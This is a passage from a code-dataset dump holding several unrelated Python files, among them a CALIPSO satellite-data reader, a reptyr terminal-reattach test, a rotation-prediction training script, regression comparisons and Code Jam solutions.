= path.data.apply(lambda x: get_dist(x, location), axis=1)\n path.data['distance'] = dist\n return\n\n\ndef get_path(hdf, datetime):\n lon = hdf.select('Longitude')[:][:, 0]\n lat = hdf.select('Latitude')[:][:, 0]\n loc_ts = Path(pd.DataFrame({'Lon': lon, 'Lat': lat}, index=datetime))\n return loc_ts\n\ndef get_datetime(hdf):\n time = hdf.select('Profile_UTC_Time')\n time.dimensions()\n td = time[:].transpose()[0]\n day, date = np.modf(td)\n datetime = pd.to_datetime(date.astype(int), format = '%y%m%d') + pd.to_timedelta(day, unit='d')\n return datetime\n\nclass Path(timeseries.TimeSeries):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._closest_location = None\n self._closest = None\n self._radius = None\n self._in_radius = None\n\n plot_on_map = plot_on_map\n\n def get_closest2location(self, location):\n if location == self._closest_location:\n return self._closest\n else:\n self._closest_location = location\n self._closest = get_closest2location(self, location)\n return self._closest\n\n def get_all_in_radius(self, location, radius):\n self.get_closest2location(location)\n if (location != self._closest_location) or (radius != self._radius):\n self._closest_location = location\n self._radius = radius\n self._in_radius = self.data.distance <= radius\n return self._in_radius\n\n\nclass Total_Attenuated_Backscattering(timeseries.TimeSeries_2D):\n def plot(self, *args, **kwargs):\n f, a, pc, cb = super().plot(*args, **kwargs)\n a.set_ylabel('Altitude (m)')\n a.set_xlabel('')\n if cb:\n cb.set_label('Total attenuated backscattering')\n return f, a, pc, cb\n\n\n\n\nclass Calipso(object):\n def __init__(self, fname):\n self._hdf = SD(fname, SDC.READ)\n self._reset()\n self._inradius = None\n self._ts = None\n self._bs = None\n\n # self._zoom_d = None\n\n def _reset(self):\n self._path = None\n self._totattback = None\n\n\n @property\n def _timestamps(self):\n if type(self._ts).__name__ == 'NoneType':\n self._ts = get_datetime(self._hdf)\n # if type(self._inradius).__name__ != 'NoneType':\n # self._ts = self._ts[self._inradius]\n return self._ts\n\n @property\n def _bins(self):\n if type(self._bs).__name__ == 'NoneType':\n self._bs = generate_altitude_data(level = 1)\n return self._bs\n\n @property\n def total_attenuated_backscattering(self):\n if not self._totattback:\n self._totattback = get_total_attenuated_backscattering(self._hdf, self._timestamps, self._bins)\n if type(self._inradius).__name__ != 'NoneType':\n self._totattback = Total_Attenuated_Backscattering(self._totattback.data[self._inradius])\n return self._totattback\n\n # @total_attenuated_backscattering.setter\n # def total_attenuated_backscattering(self,value):\n # self._totattback = Total_Attenuated_Backscattering(value)\n\n @property\n def path(self):\n if not self._path:\n self._path = get_path(self._hdf, self._timestamps)\n if type(self._inradius).__name__ != 'NoneType':\n self._path = Path(self._path.data[self._inradius])\n # if self._zoom:\n # self._path.data\n return self._path\n\n # @path.setter\n # def path(self,value):\n # self._path = Path(value)\n\n def limit2location(self, location, radius):\n \"\"\"This will limit all data to data that is in a certain radius around a location\"\"\"\n self._inradius = self.path.get_all_in_radius(location, radius)\n self._reset()\n\n# if self._path:\n# self.path = self.path.data[inradius]\n# if self._totattback:\n# self.total_attenuated_backscattering = self.total_attenuated_backscattering.data[inradius]\n# if self._ts:\n# self._timestamps = self._timestamps[inradius]\n\n","sub_path":"atmPy/data_archives/calipso/calipso.py","file_name":"calipso.py","file_ext":"py","file_size_in_byte":15961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"294247121","text":"import pexpect\n\nchild = pexpect.spawn(\"test/victim\")\nchild.setecho(False)\nchild.sendline(\"hello\")\nchild.expect(\"ECHO: hello\")\n\nreptyr = pexpect.spawn(\"./reptyr %d\" % (child.pid,))\nreptyr.sendline(\"world\")\nreptyr.expect(\"ECHO: world\")\n\nchild.sendline(\"final\")\nchild.expect(pexpect.EOF)\n\nreptyr.sendeof()\nreptyr.expect(pexpect.EOF)\nassert not reptyr.isalive()\n","sub_path":"test/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"358575340","text":"'''\nTrain self-supervised task (rotation prediction) task; current good dataset to use is quaternion_shivin or quaternion_objpred; \nCurrently have a pre-trained model for this, which is referenced in semi_sup script\n'''\n\nimport numpy as np\nimport argparse\nimport os\nimport itertools\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport pickle\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\nfrom autolab_core import YamlConfig, RigidTransform\nfrom unsupervised_rbt import TensorDataset\nfrom unsupervised_rbt.models import ResNetSiameseNetwork, InceptionSiameseNetwork\nfrom unsupervised_rbt.losses.shapematch import ShapeMatchLoss, ShapeMatchLoss_Lie\nfrom perception import DepthImage, RgbdImage\n\nfrom tools.data_gen_quat import create_scene\nfrom tools.utils import *\n\nimport trimesh\nfrom pyrender import (Scene, IntrinsicsCamera, Mesh,\n Viewer, OffscreenRenderer, RenderFlags, Node)\nfrom pyquaternion import Quaternion\nimport cv2\n\ndef Plot_Bad_Predictions(dataset, predicted_quats, indices, name = \"worst\"):\n \"\"\"Takes in the dataset, predicted quaternions, and indices of the \n worst predictions in the validation set\n \"\"\"\n for i in indices:\n datapoint = dataset.get_item_list(test_indices[i:i+1])\n predicted_quat = predicted_quats[i]\n plt.figure(figsize=(15,5))\n plt.subplot(131)\n fig1 = plt.imshow(datapoint[\"depth_image1\"][0][0], cmap='gray', vmin=np.min(datapoint[\"depth_image1\"][0][0]))\n plt.title('Stable pose')\n plt.subplot(132)\n fig2 = plt.imshow(datapoint[\"depth_image2\"][0][0], cmap='gray')\n plt.title('True Quat: ' + Quaternion_String(datapoint[\"quaternion\"][0]))\n plt.subplot(133)\n fig3 = plt.imshow(Plot_Predicted_Rotation(datapoint, predicted_quat), cmap='gray')\n plt.title('Pred Quat: ' + Quaternion_String(predicted_quat))\n fig1.axes.get_xaxis().set_visible(False)\n fig1.axes.get_yaxis().set_visible(False)\n fig2.axes.get_xaxis().set_visible(False)\n fig2.axes.get_yaxis().set_visible(False)\n fig3.axes.get_xaxis().set_visible(False)\n fig3.axes.get_yaxis().set_visible(False)\n plt.savefig(\"plots/worst_preds/\" + name + \"_pred_\" + str(datapoint['obj_id'][0]) + \"_\"\n + str(1- np.dot(predicted_quat, datapoint['quaternion'].flatten()))[2:5])\n print(1 - np.dot(predicted_quat, datapoint['quaternion'].flatten()))\n # plt.show()\n plt.close()\n\ndef Plot_Predicted_Rotation(datapoint, predicted_quat):\n object_id, pose_matrix = datapoint['obj_id'], datapoint['pose_matrix'][0]\n config = YamlConfig(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..',\n 'cfg/tools/data_gen_quat.yaml'))\n scene, renderer = create_scene(data_gen=False)\n dataset_name_list = ['3dnet', 'thingiverse', 'kit']\n mesh_dir = config['state_space']['heap']['objects']['mesh_dir']\n mesh_dir_list = [os.path.join(mesh_dir, dataset_name) for dataset_name in dataset_name_list]\n obj_config = config['state_space']['heap']['objects']\n mesh_lists = [os.listdir(mesh_dir) for mesh_dir in mesh_dir_list]\n obj_id = 0\n for mesh_dir, mesh_list in zip(mesh_dir_list, mesh_lists):\n for mesh_filename in mesh_list:\n obj_id += 1\n if obj_id != object_id:\n continue\n\n # load object mesh\n mesh = trimesh.load_mesh(os.path.join(mesh_dir, mesh_filename))\n obj_mesh = Mesh.from_trimesh(mesh)\n object_node = Node(mesh=obj_mesh, matrix=np.eye(4))\n scene.add_node(object_node)\n # print(pose_matrix)\n ctr_of_mass = pose_matrix[0:3, 3]\n\n new_pose = Quaternion_to_Rotation(predicted_quat, ctr_of_mass) @ pose_matrix\n scene.set_pose(object_node, pose=new_pose)\n return renderer.render(scene, flags=RenderFlags.DEPTH_ONLY)\n\ndef get_points(obj_ids, points_poses):\n points = [point_clouds[obj_id] / scales[obj_id] * 10 for obj_id in obj_ids]\n # print(batch[\"pose_matrix\"][0])\n points = [points_poses[i] @ points[i] for i in range(len(obj_ids))]\n points = torch.Tensor(points).to(device)\n # print(points[:,:5])\n return points\n\ndef train(dataset, batch_size, first=False):\n '''Train model specified in main and return training loss and classification accuracy'''\n model.train()\n train_loss = 0\n\n # train_indices = dataset.split('train')[0][:10000]\n train_indices = dataset.split('train')[0]\n # train_indices = dataset.split('train2')[0][:10000]\n\n N_train = len(train_indices)\n n_train_steps = N_train//batch_size\n\n ones = torch.Tensor(np.ones(batch_size)).to(device)\n optimizer.zero_grad()\n\n for step in tqdm(range(n_train_steps)):\n batch = dataset.get_item_list(train_indices[step*batch_size: (step+1)*batch_size])\n # depth_image1 = Quantize(batch[\"depth_image1\"])\n # depth_image2 = Quantize(batch[\"depth_image2\"])\n depth_image1 = batch[\"depth_image1\"]\n depth_image2 = batch[\"depth_image2\"]\n\n im1_batch = Variable(torch.from_numpy(depth_image1).float()).to(device)\n im2_batch = Variable(torch.from_numpy(depth_image2).float()).to(device)\n \n transform_batch = Variable(torch.from_numpy(batch[\"lie\"])).float().to(device)\n # if step > 20:\n # for i in range(batch_size):\n # plt.subplot(121)\n # depth_image_show1 = depth_image1[i][0]\n # plt.imshow(depth_image_show1, cmap='gray')\n # plt.subplot(122)\n # depth_image_show2 = depth_image2[i][0]\n # plt.imshow(depth_image_show2, cmap='gray')\n # plt.title('Transform: {}'.format(transform_batch[i]))\n # plt.show()\n obj_ids = batch[\"obj_id\"]\n points_poses = batch[\"pose_matrix\"][:,:3,:3]\n points = get_points(obj_ids, points_poses)\n\n pred_transform = model(im1_batch, im2_batch)\n # if config['loss'] == 'cosine' or first:\n # loss = loss_func(pred_transform, transform_batch, ones)\n loss = loss_func(pred_transform, transform_batch)\n # sm_loss = loss_func2(pred_transform, transform_batch, points).item()\n # else:\n # loss = loss_func2(pred_transform, transform_batch, points)\n # sm_loss = loss.item()\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n # train_loss += sm_loss\n train_loss += loss.item()\n\n # if step % 100 == 0:\n # print(pred_transform[:3])\n # print(transform_batch[:3])\n # print(loss_func(pred_transform, transform_batch, points))\n\n return train_loss/n_train_steps\n\ndef test(dataset, batch_size):\n \"\"\"\n Return loss and classification accuracy of the model on the test data\n \"\"\"\n model.eval()\n test_loss, total = 0, 0\n\n # test_indices = dataset.split('train')[1][:1000]\n test_indices = dataset.split('train')[1]\n # test_indices = dataset.split('train2')[1][:64*100]\n n_test = len(test_indices)\n n_test_steps = n_test // batch_size\n\n ones = torch.Tensor(np.ones(batch_size)).to(device)\n\n with torch.no_grad():\n for step in tqdm(range(n_test_steps)):\n batch = dataset.get_item_list(test_indices[step*batch_size: (step+1)*batch_size])\n depth_image1 = batch[\"depth_image1\"]\n depth_image2 = batch[\"depth_image2\"]\n\n im1_batch = Variable(torch.from_numpy(depth_image1).float()).to(device)\n im2_batch = Variable(torch.from_numpy(depth_image2).float()).to(device)\n transform_batch = Variable(torch.from_numpy(batch[\"lie\"])).to(device)\n pred_transform = model(im1_batch, im2_batch)\n total += transform_batch.size(0)\n\n obj_ids = batch[\"obj_id\"]\n points_poses = batch[\"pose_matrix\"][:,:3,:3]\n points = get_points(obj_ids, points_poses)\n # if config['loss'] == 'cosine':\n # loss = loss_func(pred_transform, transform_batch, ones)\n loss = loss_func(pred_transform, transform_batch)\n\n # sm_loss = loss_func2(pred_transform, transform_batch, points)\n # test_loss += sm_loss.item()\n test_loss += loss.item()\n\n return test_loss/n_test_steps\n\ndef parse_args():\n \"\"\"Parse arguments from the command line.\n -config to input your own yaml config file. Default is unsup_rbt_train_quat.yaml\n -dataset to input a name for your dataset. Should start with quaternion\n --test to generate a graph of your train and validation loss\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--test', action='store_true')\n parser.add_argument('--worst_pred', action='store_true')\n default_config_filename = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n '..',\n 'cfg/tools/unsup_rbt_train_quat.yaml')\n parser.add_argument('-config', type=str, default=default_config_filename)\n parser.add_argument('-dataset', type=str, required=True)\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n \"\"\"Train on a dataset or generate a graph of the training and validation loss.\n Current Datasets: \n 72obj_occ: ~130,000 points, image 1 random rectangles, 57 train, 15 test\n uniform30, uniform45, uniform60: ~143,940 points, occlusions, angles sampled uniformly from 0-30,0-45,0-60\n 564obj_250rot: 546(18 not available because of stable pose?) obj with more than 300 points\n best_scores: obj > 300 points, 257 obj, 500 rot. score >= 40. 128293\n 546obj_dr: obj > 300 points. Occlusion is now w background pixels. ~130k. Initial pose from SO3\n best_scoresv2: occlusion is now w background pixels. 82 obj > 300 pts, 1800 rot, score >= 156.52. 163930. 16 obj in val\n 546obj: obj > 300 points, 300 rot. Initial pose has random translation. ~160k\n best_scoresv3: Initial pose translation. 82 obj > 300 pts, 2000 rot, score >= 156.52. 163930. 16 obj in val\n 546objv2: No pose translation, no dr.\n 546objv3: DR with pose sampling 0-45 degrees from stable pose\n best_scoresv4: No pose translation, no dr.\n best_scoresv5: DR with pose sampling 0-45 degrees from stable pose\n 546objv4: DR with background, Translation(+-0.02,+-0.02,0-0.2), 45 degree from stable pose, 300 rot\n best_scoresv6: DR with background, Translation(+-0.02,+-0.02,0-0.2), 45 degree from stable pose, 300 rot\n 546objv5: DR with background, Translation(+-0.01,+-0.01,0-0.05), 45 degree from stable pose, 300 rot, z buffer (0.4,2)\n \"\"\"\n args = parse_args()\n config = YamlConfig(args.config)\n dataset_name = args.dataset + \"/\"\n args.dataset = os.path.join('/nfs/diskstation/projects/unsupervised_rbt', args.dataset)\n dataset = TensorDataset.open(args.dataset)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n \n prefix = \"lie\"\n prefix += \"_blk\" + str(config['n_blocks']) + \"_emb\" + str(config[\"embed_dim\"])\n prefix += \"_reg\" + str(config[\"reg\"]) + \"_drop\" + str(config[\"dropout\"])\n loss_history = \"results/\" + dataset_name + prefix + \".p\"\n histdata = \"results/\" + dataset_name + prefix + \"_histdata.txt\"\n loss_plot_fname = \"plots/\" + dataset_name + prefix + \"_loss.png\"\n rot_plot_fname = \"plots/\" + dataset_name + prefix + \"_rot.png\"\n best_epoch_dir = \"models/\" + dataset_name + prefix + \".pt\"\n print(\"fname prefix\", prefix)\n\n model = ResNetSiameseNetwork(3, config['n_blocks'], config['embed_dim'], config['dropout'], norm=False).to(device)\n\n # point_clouds = pickle.load(open(\"cfg/tools/data/point_clouds\", \"rb\"))\n point_clouds = pickle.load(open(\"cfg/tools/data/point_clouds300\", \"rb\"))\n scales = pickle.load(open(\"cfg/tools/data/scales\", \"rb\"))\n\n # optimizer = optim.Adam(model.parameters())\n optimizer = optim.Adam(model.parameters(), lr=1e-4, weight_decay=10**(-1 * config['reg']))\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=5,gamma=0.9)\n loss_func = nn.L1Loss()\n # loss_func = nn.CosineEmbeddingLoss()\n loss_func2 = ShapeMatchLoss_Lie()\n\n if not args.test:\n if not os.path.exists(args.dataset + \"/splits/train\"):\n obj_id_split = np.loadtxt(\"cfg/tools/data/train_split\")\n val_indices = []\n for i in range(dataset.num_datapoints):\n if dataset.datapoint(i)[\"obj_id\"] in obj_id_split:\n val_indices.append(i)\n\n print(\"Created Train Split\")\n dataset.make_split(\"train\", train_pct=0.8, val_indices= val_indices)\n if not os.path.exists(args.dataset + \"/splits/train2\"):\n dataset.make_split(\"train2\", train_pct=0.8)\n\n train_losses, test_losses = [], []\n min_loss = 100000\n # model.load_state_dict(torch.load(\"models/uniform30_1e7.pt\"))\n\n for epoch in range(config['num_epochs']):\n\n train_loss = train(dataset, config['batch_size'], first = (epoch == 0))\n test_loss = test(dataset, config['batch_size'])\n scheduler.step()\n train_losses.append(train_loss)\n test_losses.append(test_loss)\n print((\"Epoch %d, Train Loss = %f, Test Loss = %f\" %\n (epoch, train_loss, test_loss)) + \" for \" + prefix)\n pickle.dump({\"train_loss\": train_losses, \"test_loss\": test_losses,\n }, open(loss_history, \"wb\"))\n # torch.save(model.state_dict(), final_epoch_dir)\n if test_loss < min_loss:\n torch.save(model.state_dict(), best_epoch_dir)\n min_loss = test_loss\n\n else:\n Plot_Loss(loss_history, loss_plot_fname)\n\n # model.load_state_dict(torch.load(final_epoch_dir))\n model.load_state_dict(torch.load(best_epoch_dir))\n # display_conv_layers(model)\n model.eval()\n test_loss, test_loss2, test_loss3, total = 0, 0, 0, 0\n\n # test_indices = dataset.split('train')[1][:1000]\n test_indices = dataset.split('train')[1]\n # test_indices = dataset.split('train2')[1]\n n_test = len(test_indices)\n batch_size = 1\n ones = torch.Tensor(np.ones(batch_size)).to(device)\n n_test_steps = n_test // batch_size\n\n true_quaternions = []\n pred_quaternions = []\n losses, angle_vs_losses = [], []\n with torch.no_grad():\n for step in tqdm(range(n_test_steps)):\n batch = dataset.get_item_list(test_indices[step*batch_size: (step+1)*batch_size])\n depth_image1 = batch[\"depth_image1\"]\n depth_image2 = batch[\"depth_image2\"]\n\n im1_batch = Variable(torch.from_numpy(depth_image1).float()).to(device)\n im2_batch = Variable(torch.from_numpy(depth_image2).float()).to(device)\n transform_batch = Variable(torch.from_numpy(batch[\"lie\"])).to(device)\n pred_transform = model(im1_batch, im2_batch)\n # print(\"True Vector: {}, Predicted Vector: {}\".format(transform_batch, pred_transform))\n total += transform_batch.size(0)\n\n # loss = loss_func(pred_transform, transform_batch, ones).item()\n loss = loss_func(pred_transform, transform_batch).item()\n # angle_loss = np.arccos(1-loss) * 180 / np.pi * 2 # Don't use, always underestimates error.\n \n obj_ids = batch[\"obj_id\"]\n points_poses = batch[\"pose_matrix\"][:,:3,:3]\n points = get_points(obj_ids, points_poses)\n sm_loss = loss_func2(pred_transform, transform_batch, points).item()\n\n # true_quaternions.extend(transform_batch.cpu().numpy())\n # pred_quaternions.extend(pred_transform.cpu().numpy())\n\n # true_quat = transform_batch.cpu().numpy()[0]\n # angle = np.arccos(true_quat[3]) * 180 / np.pi * 2\n # print(true_quat[3], angle)\n losses.append(loss)\n # angle_vs_losses.append([angle,loss,sm_loss])\n # angle_vs_losses.append([angle,loss])\n test_loss += loss\n test_loss2 += sm_loss\n # np.savetxt(histdata, np.array(angle_vs_losses))\n mean_loss = test_loss/total\n # mean_angle_loss = np.arccos(1-mean_cosine_loss)*180/np.pi*2\n # Plot_Angle_vs_Loss(true_quaternions, losses, mean_loss, rot_plot_fname)\n # Plot_Small_Angle_Loss(true_quaternions, losses, mean_loss)\n # Plot_Axis_vs_Loss(true_quaternions, losses, mean_loss)\n\n if args.worst_pred:\n biggest_losses = np.argsort(losses)[-5:-1]\n smallest_losses_idx = np.argsort(losses)\n smallest_losses = []\n for i in smallest_losses_idx:\n if true_quaternions[i][3] < 0.975:\n smallest_losses.append(i)\n if len(smallest_losses) >= 5:\n break\n Plot_Bad_Predictions(dataset, pred_quaternions, biggest_losses)\n Plot_Bad_Predictions(dataset, pred_quaternions, np.array(smallest_losses), \"best\")\n\n print(\"Mean L1 loss is: \", test_loss/total)\n # print(\"Mean Angle loss is: \", mean_angle_loss)\n print(\"Mean SM loss is: \", test_loss2/total)\n\n\n","sub_path":"tools/unsup_rbt_train_lie.py","file_name":"unsup_rbt_train_lie.py","file_ext":"py","file_size_in_byte":17481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"420624805","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/kvlayer/_decorators.py\n# Compiled at: 2015-07-31 13:31:44\nimport time, logging\nfrom functools import wraps\n\ndef retry(retry_exceptions=[\n Exception], retry_attempts=3):\n \"\"\"\n Configurable decorator that will retry after intermittent failures.\n\n @type retry_exceptions: list\n @param retry_exceptions: List of exceptions that will be retried.\n\n @type retry_attempts: integer\n @param retry_attempts: Number of times to retry a function after it has failed\n \"\"\"\n\n def decorator(method):\n\n @wraps(method)\n def wrapper(*args, **kwargs):\n tries = 0\n while 1:\n try:\n tries += 1\n return method(*args, **kwargs)\n break\n except Exception as exc:\n if not any([ isinstance(exc, e) for e in retry_exceptions ]) or tries > retry_attempts:\n raise\n else:\n logging.warn('Retrying because of exception', exc_info=True)\n time.sleep(3 * tries)\n\n return wrapper\n\n return decorator","sub_path":"pycfiles/kvlayer-0.5.9-py2.7/_decorators.py","file_name":"_decorators.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"281989932","text":"#!/bin/py\n# -*-coding:utf-8-*-\n\nclass halfquery():\n L = []\n x = 0\n low = 0\n high = len(L)\n def __init__(self,L=[],x=0):\n self.L=L\n self.x=x\n self.high=len(L)\n\n def seek(self):\n while self.lowself.x:\n self.high=middle\n continue\n elif self.L[middle]=3.2'\n # pprint.pprint(b3['members'][added])\n #\n\n","sub_path":"CiCDTMstudioTest/Source/Demos/pytools-186e88affa1d/pytools_186e88affa1d/Python/Product/Analyzer/VersionDiff.py","file_name":"VersionDiff.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"120522486","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2017/9/28 10:08\r\n# @Author : Wei Jian\r\n# @Email : jesseweifj@gmail.com\r\n# @File : DB_Wind.py\r\nfrom database.DB_BASE import DataBase\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom WindPy import w\r\nfrom functools import partial\r\nimport time\r\n\r\n\r\nclass DB_Wind(DataBase):\r\n TIME_DATA_CMD = [\"wsd\", \"wsi\", \"wst\", \"edb\"]\r\n SECTIONAL_DATA_CMD = [\"wss\", \"wset\"]\r\n try_max = 2\r\n\r\n class Wind_Manager(DataBase.DB_Manager):\r\n def _connect_db(self):\r\n w.start()\r\n return w\r\n\r\n def create_DB_Manager(self):\r\n \"\"\"set database manager\"\"\"\r\n return DB_Wind.Wind_Manager()\r\n\r\n def __getattr__(self, item):\r\n if item in self.SECTIONAL_DATA_CMD + self.TIME_DATA_CMD:\r\n return partial(self.execute, item)\r\n\r\n # this function is the core of the DB class\r\n def execute(self, cmd_type, *args, **kwargs):\r\n \"\"\"execute the command by native interface of the database\"\"\"\r\n func = getattr(self._conn, cmd_type)\r\n count = 0\r\n error_data =True\r\n while counti:\n\t\t\t\t\tmatrix[i][j]=1\n\t\treturn\n\t\n\tfor i in range(B):\n\t\tfor j in range(B-1):\n\t\t\tif j>i:\n\t\t\t\tmatrix[i][j]=1\n\t\n\tn=2**(B-3)\n\tind=B-2\n\t\n\twhile M>0:\n\t\tif M>=n:\n\t\t\tM-=n\n\t\t\tmatrix[ind][B-1]=1\n\t\tn//=2\n\t\tind-=1\n\t\n\treturn\n\t\n\nf=open(\"B-small-attempt0.in\",\"r+\")\ng=open(\"output.txt\",\"w+\")\n\nT=int(f.readline())\n\nfor i in range(1,1+T):\n\t[B,M]=[int(i) for i in f.readline().split()]\n\t\n\tmatrix=[[0 for i in range(B)] for i in range(B)]\n\t\n\tif M>2**(B-2):\n\t\tans=\"IMPOSSIBLE\"\n\telse:\n\t\tans=\"POSSIBLE\"\n\t\tsolve(B,M)\n\t\n\tg.write(\"Case #{}: {}\\n\".format(i,ans))\n\t\n\tif ans[0]==\"P\":\n\t\tfor j in range(B):\n\t\t\tfor k in range(B):\n\t\t\t\tg.write(\"{}\".format(matrix[j][k]))\n\t\t\tg.write(\"\\n\")\n\n\nf.close()\ng.close()","sub_path":"solutions_5744014401732608_0/Python/MathProgrammer/prob2.py","file_name":"prob2.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"536747792","text":"with open(\"C-small-attempt0.in\") as f:\r\n\tdat = f.read().splitlines()\r\n\r\ndef get_prime(n):\r\n\tfor i in range(2,int(n**0.5)+1):\r\n\t\tif n%i == 0:\r\n\t\t\treturn i\r\n\treturn -1\r\ndef ninbase(digs,base):\r\n\tn = 0\r\n\tmul = 1\r\n\tfor d in digs:\r\n\t\tn += mul*d\r\n\t\tmul *= base\r\n\treturn n\r\n\t\r\nn = int(dat[0])\r\nout = [\"Case #1:\"]\r\n\r\nN = int(dat[1].split()[0])\r\nJ = int(dat[1].split()[1])\r\n\t\r\nfor jc in range(2**(N-1)+1,2**N-1,2):\r\n\tjc = str(bin(jc))[2:]\r\n\t#print(jc)\r\n\t\t\r\n\tjcd = list(jc)[::-1]\r\n\tjcd = [int(jj) for jj in jcd]\r\n\tprimes = []\r\n\tfor base in range(2,11):\r\n\t\tn = ninbase(jcd,base)\r\n\t\tprimes.append(get_prime(n))\r\n\t\tif -1 in primes:\r\n\t\t\tbreak\r\n\t#print(primes)\r\n\t\t\r\n\tif -1 not in primes:\r\n\t\tout.append(jc+\" \"+\" \".join([str(p) for p in primes]))\r\n\t\tprint(out[-1])\r\n\tif out.__len__() == J+1:\r\n\t\tbreak\r\n\r\nassert out.__len__() == 1+J\r\nof = open(\"out.txt\",\"w\")\r\nof.write(\"\\n\".join(out))\r\nof.close()\r\n\r\n\r\n\r\n","sub_path":"solutions_5738606668808192_0/Python/FXilip/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"635009058","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.metrics import r2_score\nimport matplotlib.pyplot as plt\n\ndataset = pd.read_csv('Apple.csv')\n\nx = dataset.iloc[:,[1,2,3,5,6]].values\ny = dataset.iloc[:,4].values\n\nfrom sklearn.model_selection import train_test_split\ntrain_x, test_x, train_y, test_y = train_test_split(x,y,test_size = 0.1)\n\nfrom sklearn.tree import DecisionTreeRegressor\nregressor = DecisionTreeRegressor()\nregressor.fit(train_x,train_y)\n\nprint('DecisionTree------------------------------')\nacc = r2_score(test_y,regressor.predict(test_x))\nprint(round(acc,6))\nprint(sum((regressor.predict(test_x) - test_y)**2))\nprint('\\n')\n\nfrom sklearn.ensemble import RandomForestRegressor\nrand_regressor = RandomForestRegressor(n_estimators=100)\nrand_regressor.fit(train_x,train_y)\n\nprint('RandomForestRegressor--------------------------')\nacc = r2_score(test_y,rand_regressor.predict(test_x))\nprint(round(acc,6))\nprint(sum((rand_regressor.predict(test_x) - test_y)**2))\nprint('\\n')\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\npoly_reg = PolynomialFeatures(degree=2)\nX_poly = poly_reg.fit_transform(train_x)\nlin_reg = LinearRegression()\nlin_reg.fit(X_poly,train_y)\n\nprint('Polynomial----------------------------------')\nacc = r2_score(test_y, lin_reg.predict(poly_reg.fit_transform(test_x)))\nprint(round(acc,6))\nprint(sum((lin_reg.predict(poly_reg.fit_transform(test_x)) - test_y)**2))\nprint('\\n')\n\nprint('Linear--------------------------------------')\nlin_reg2 = LinearRegression()\nlin_reg2.fit(train_x,train_y)\n\nacc = r2_score(test_y,lin_reg2.predict(test_x))\nprint(round(acc,6))\nprint(sum((lin_reg2.predict(test_x) - test_y)**2))\nprint('\\n')\n\n'''\n\nLESS TRAINING LINEAR regressION WINS\n\nWITH MORE TRAINING CHOOSE RANDOM FOREST\n\n\nResults =\n1. Polynomial - 7/14 VS DecisionTree - 7/14\n\nGOOD TRAINING\n\n2. linear - 5/13 VS Random - 8/13\n'''\n\n'''\nPolynomial - 4/10 VS DecisionTree - 6/10\n\nLinear - 6/10 VS Random - 4/10\n '''\n","sub_path":"1__ML_TRACK/TESTING/compare_dec_tree_rand_fo.py","file_name":"compare_dec_tree_rand_fo.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"167577869","text":"#!/usr/bin/python\n\n'''\n\nmsppg.py Multiwii Serial Protocol Parser Generator\n\nCopyright (C) Rob Jones, Alec Singer, Chris Lavin, Blake Liebling, Simon D. Levy 2015\n\nThis code is free software: you can redistribute it and/or modify\nit under the terms of the GNU Lesser General Public License as \npublished by the Free Software Foundation, either version 3 of the \nLicense, or (at your option) any later version.\n\nThis code is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License \nalong with this code. If not, see .\n'''\n\nfrom sys import exit, argv, stderr\nfrom subprocess import call\nimport os\nimport json\nfrom pkg_resources import resource_string\nfrom optparse import OptionParser\n\ndef clean(string):\n cleaned_string = string[1: len(string) - 1]\n return cleaned_string\n\ndef mkdir_if_missing(dirname):\n if not os.path.exists(dirname):\n os.mkdir(dirname)\n\ndef error(errmsg):\n print(errmsg)\n exit(1)\n\n\nclass CodeEmitter(object):\n\n def __init__(self, folder, ext):\n\n mkdir_if_missing('output/%s' % folder)\n self._copyfile('%s.makefile' % folder, '%s/Makefile' % folder)\n\n self.indent = ' '\n\n self.type2size = {'byte': 1, 'short' : 2, 'float' : 4, 'int' : 4}\n\n def _copyfile(self, src, dst):\n\n outfile = open('output/' + dst, 'w')\n outfile.write(self._getsrc(src))\n outfile.close()\n\n def warning(self, cmt):\n\n return cmt + ' AUTO-GENERATED CODE: DO NOT EDIT!!!\\n\\n'\n\n # Helper for writing parameter list with type declarations\n def _write_params(self, outfile, argtypes, argnames, prefix = ''):\n\n outfile.write('(')\n outfile.write(prefix)\n for argtype,argname in zip(argtypes, argnames):\n outfile.write(self.type2decl[argtype] + ' ' + argname)\n if argname != 